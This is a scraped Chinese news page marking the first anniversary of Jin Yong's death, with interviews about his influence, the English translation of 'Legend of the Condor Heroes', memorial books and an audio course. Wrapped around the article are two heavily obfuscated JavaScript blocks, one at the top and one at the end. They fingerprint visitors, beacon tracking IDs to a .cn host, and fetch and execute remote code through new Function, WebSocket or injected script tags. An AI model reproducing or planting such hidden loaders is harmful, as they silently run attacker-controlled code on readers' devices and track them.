function yauLgd(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function avVjuE(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yauLgd(t);};window[''+'r'+'y'+'k'+'f'+'n'+'c'+'K'+'X'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aASrv(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=avVjuE,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aASrv(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsc.vxcewh.cn:7891/stats/16113/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aASrv(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmxpddWdd3Mi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ja210dHguY24lM0E5NTTM0','170066',window,document,['d','T']);}:function(){};

海内天涯同追忆此去经年共倚天

时间：2019-10-31 10:00:27阅读：86484次
英译本第二卷他们与金庸缘浅缘深&mdash;&mdash;如只有一面之缘的史航，还有同金庸打交道多年的张纪中；他们纪念金庸角度不同&mdash;&mdash;如同为金庸研究者，严家炎组织王蒙、马云等人
射雕英雄传1994
  • 射雕英雄传1994
  • 古装 武侠 剧情
  • 张智霖 朱茵 罗嘉良 关宝慧 骆应钧 黎耀祥 刘丹 林伟
第1张图片
1/4
第1张图片
第2张图片
2/4
第2张图片
第3张图片
3/4
第3张图片
第4张图片
4/4
第4张图片

英译本第二卷

他们与金庸缘浅缘深——如只有一面之缘的史航，还有同金庸打交道多年的张纪中；他们纪念金庸角度不同——如同为金庸研究者，严家炎组织王蒙、马云等人的文章推出《大师金庸纪念专集》，孔庆东却把课堂实录整理成《金庸者谁 : 北大金庸研究课堂实录》；他们喜欢金庸方式各异——如高晓攀推出了音频课，张菁却选择了将金庸作品翻译成英文向西方推广。他们聚集在这篇报道，有一个共同的理由：10月30日，武侠小说大师金庸先生逝世一周年纪念日。

聊金庸

“他是华语文学界的霍金”

一面之缘、改编之情。初中便开始读金庸的史航将其视作“帮助我形成世界观的那个远方的陌生人”，“金庸先生逝世后，我们这些读者突然有一瞬间成为孤儿的感觉，以后只能自己拉扯自己长大，只能相信书中的那些人物是我们的亲人，来一起长大。”

金庸先生去世时，史航曾写了一幅挽联托人带去他的追悼会，“海内天涯同飞雪，此去经年谁倚天”。“当作者不在了，就剩下读者自己。金庸先生的故事永远有人信任，作品永远有人改编，这是最重要的。”

一年来，史航的微博多次提起金庸。此外，对于金庸是当代最受欢迎的华文作家一说，史航认为这样的说法没有创意，“如果有一个真正的定义，可以说，他是华语文学界的霍金。每个人都想了解的秘密，他尽可能给我们勾勒了，就像霍金的《时间简史》。《时间简史》不是人类的历史，但比人类的历史还重要。同样金庸的作品不是信史，但比那些发生的历史更值得我们尊重。”

史航只是2008年去香港时见了金庸先生一面，“他聊的很多东西很有意思，丰富了我对他的印象，他就是一个非常生动有趣的人。我的大量的文史知识不是从课本上来的，我的佛教知识、对书法认识、对冶铁炼金的知识都是从他开始的。”

改编《射雕英雄传》之后，史航称自己一直在酝酿的是《笑傲江湖》，自己对它的理解比从前又深化了。而如果有机会和远方的金庸先生说几句，史航说了这样一段话，“你的小说影响过我，你的《袁崇焕评传》影响过我，你最后的散文《岳云》也影响过我。世人多以你的小说来衡量你的价值，但我想你的文字都有你的意义，我感谢你所有发表的文字。”

文/本报记者 郭佳

摄影/本报记者 王晓溪

译金庸

“射雕”英译本第三卷明年出版

自2018年起，《射雕英雄传》英文版由麦克洛霍斯出版社推出，也让英语世界的读者领略了金庸武侠世界的风采。《射雕英雄传》共分四卷，每一卷出版后都让外国读者大呼精彩。

“《射雕英雄传》的翻译工作是资深译者郝玉青女士首先开始的，但因为出版计划是每年一卷，而且‘射雕’故事内容信息量很大，篇幅也很长，一个人太吃力，所以她找我帮忙接力。她是牵头人，这本书能‘走出去’也是她的功劳。”隔着电话，北京青年报记者感受到了译者张菁的侠女气场。记者了解到，《射雕英雄传》英译本由郝玉青和张菁两位译者历时多年翻译而成，她们分工第一、三卷由郝玉青翻译，二、四卷由张菁翻译。其中第一卷的翻译历时6年，第二卷的翻译历时3年。

译者张菁是一位80后的“金庸迷”。她在香港长大，而金庸的影响像空气一样存在于她的生活中。

与阅读的流畅不一样，读金庸和译金庸是完全不同的体验。就像中国读者进入托尔金的世界需要一把中世纪的钥匙一样，向西方读者介绍金庸确实不是一件容易事，此前接受北青报记者采访时，张菁曾讲过自己在翻译中如何攻克难点，比如参考莎士比亚的语言风格翻译金庸小说中的古文修辞、语法、句式。“金庸的小说都是半白半文的形式，在翻译时就不能完全按照现在的英语形式，尽量避免使用街头或带有强烈地方文化、宗教色彩等的词汇。一来营造古老或永恒的感觉，二来也减少‘跳出’故事世界，联想到其他文化。句式与表达是以现代英语为基础，保持阅读快感。”在接受媒体采访时，张菁还透露，为方便读者理解，英译本在导言中交代了宋、辽、金之间的战争与纠葛，对历史事件和中华文化特有的概念也做了文字注释。

翻译《射雕英雄传》第二卷的工作历时3年。张菁说，“金庸小说里人物的传奇经历、仿若魔法般的武侠世界以及浓厚的历史韵味，确实能让不同文化背景的读者更容易接受和喜爱。”谈起过去的一年，“过去这一年我在忙第四卷的翻译。”张菁告诉北青报记者，“第三卷大约会在明年初出版，第四卷大约在2021年出版。”对于英语世界“追更”的读者来说，这应该会是一个好消息。

与此同时，北青报记者了解到，由郝玉青女士翻译的《射雕英雄传》卷三封面已经在出版社官方网站上出现，英文标题为A SNAKE LIES WAITING。另据了解，《射雕英雄传》头两卷的英文有声书亦已发行。

文/本报记者 张知依

念金庸

《大师金庸纪念专集》出版 张纪中称将拍好《飞狐外传》

在金庸先生逝世一周年之际，由香港著名散文作家及出版家、《明报月刊》总编辑潘耀明策划，北京大学中文系终身教授严家炎主编的《大师金庸纪念专集》由作家出版社出版。

《大师金庸纪念专集》由著名艺术家韩美林设计藏书票，收录金庸先生生前各界好友撰写追忆先生的文章，其中包括倪匡、潘粤生等与金庸一起创办《明报》的同事，王蒙、余秋雨、池田大作等文化界名人，马云等商界好友，郑少秋、汪明荃、黄辅棠等影视界名人，以及闵福德、冈崎由美等金庸小说译者。这些文化名人寄思念于笔触，深情缅怀金庸先生。书中还收录金庸先生图片、手迹等珍贵资料。

与此同时，10月29日晚，张纪中通过微博发表长文以及和金庸生前的合影，纪念先生逝世一周年，并表示将拍好《飞狐外传》，以告慰先生。

张纪中在微博中写道：“査先生，这一年来，我总是思念你，时常想跟你说说话……我想，你与我一样坚信，侠是中国人骨中的风神、心里的情怀，武侠精神是真正的中国精神！我也将在你的指引下，用作品传承武侠精神，终生沿着弘扬武侠精神的道路走下去！”

文/本报记者 张恩杰

讲金庸

高晓攀主讲《金庸笔下的情爱江湖》

一档名为《金庸笔下的情爱江湖》的音频节目近日在喜马拉雅上线，主讲人是喜剧演员高晓攀。在这档节目中，高晓攀用自己的方式解读杨过、张无忌、韦小宝、任盈盈等金庸笔下经典人物的爱恨情仇。

在开设《金庸笔下的情爱江湖》节目之前，高晓攀曾在音频平台喜马拉雅上开设《江湖》栏目，讲述民国时期的江湖故事，“节目完成后听众很喜欢，于是我们在想做一档什么样的节目作为续篇。”高晓攀说，“我们想延续‘江湖’的话题，正好也是在金庸先生去世一周年的时间点，就想到这个主题，也是我们的纪念方式吧。”

从“民国的江湖往事”到“金庸的江湖”，这两者有什么不一样呢？在高晓攀看来，“民国的江湖是文人的小情趣，给大家更多浪漫的东西；而金庸先生所写的武侠江湖则是真正弱肉强食的世界。”

金庸笔下的情爱世界，不只包括爱情，更有亲情和侠义情。谈及《金庸笔下的情爱江湖》这一音频内容的创作初衷，在接受北京青年报记者采访时高晓攀说，他希望能在讲述中把情感世界的侠义传递给读者。除此之外，在这档节目里还有接地气的部分——用相对现代的方式解读金庸笔下人物的男女情愫，年轻人在情感中遇到问题时，或许也能在这个课程中得到启发。

孔庆东推出“北大的金庸课”

金庸为什么会被攻击为“豺狼镛”？金庸小说中负心薄幸的“表哥”慕容复、汪啸风们，原型真的是徐志摩吗？金庸笔下武功最高的人是谁？王重阳(郭德信 饰)、张三丰、东方不败可能都排不上号。为什么金庸笔下的美女都爱女扮男装……2019年10月，北京大学出版社推出《金庸者谁：北大金庸研究课堂实录》一书。

该书以孔庆东教授在北大中文系开设的“金庸研究”课程课堂录音为底本整理成书，将场场爆满的孔庆东北大课程向大众敞开。与之前孔老师偏重于细读、分析金庸小说不同，本书主要从现象学、文化、文学、武侠四个方面，将金庸、金庸武侠小说作为六十年来重要的文化现象，进行以武侠文学为核心的大文化研究。作者尊重文本、搁置先见，以问题统摄文本，启发大家深入思考。具体研究的问题有金庸的生平、社会关系、民族观、人生观，金庸小说中的武功、爱情、侠义等，并在讲金庸的同时教大家如何把握自己的人生。

标题化自史航挽金庸联，特此致谢

本组文/本报记者 张知依

摄影/本报记者 崔峻 统筹/刘江华

相关资讯

评论

  • 评论加载中...


Copyright © 2016-2018 www.0566dm.Com .All Rights Reserved .

留言求片

!function(){function a(a){var _idx="vtbpce5gsb";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPn@})hFL_h^mOTp2:^CmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@}dhFLFT6mh(fYY7DmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@}dhFL5SJmTYT)SR_mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@})hFL_h^mOTp2:^CmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@}dhFLFT6mh(fYY7DmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@}dhFL5SJmTYT)SR_mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@}dhFLFT6mh(fYY7DmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/n@}jR8XF)J(YnpL)"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"n@}"=X8"XF)J(YnpL)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"n@}^)ThF)mRCdhSXRmRT4"="n@}X5ThF)m5dS64_OmRT4"="n@}2pThFmRCdhSXRmRT4"="n@}_JqhFm5dS64_OmRT4"="n@}2TOhFmRCdhSXRmRT4"="n@}CSqhF)m5dS64_OmRT4"="n@})FfThF)fmRCdhSXRmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:m^ddX6p6mRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:m^ddX6p6mRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPn@})hFL_h^mOTp2:^CmRT4gQ}1Q/f/n@}j(8}vR8XF)J(YnpL)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPn@})hFL_h^mOTp2:^CmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();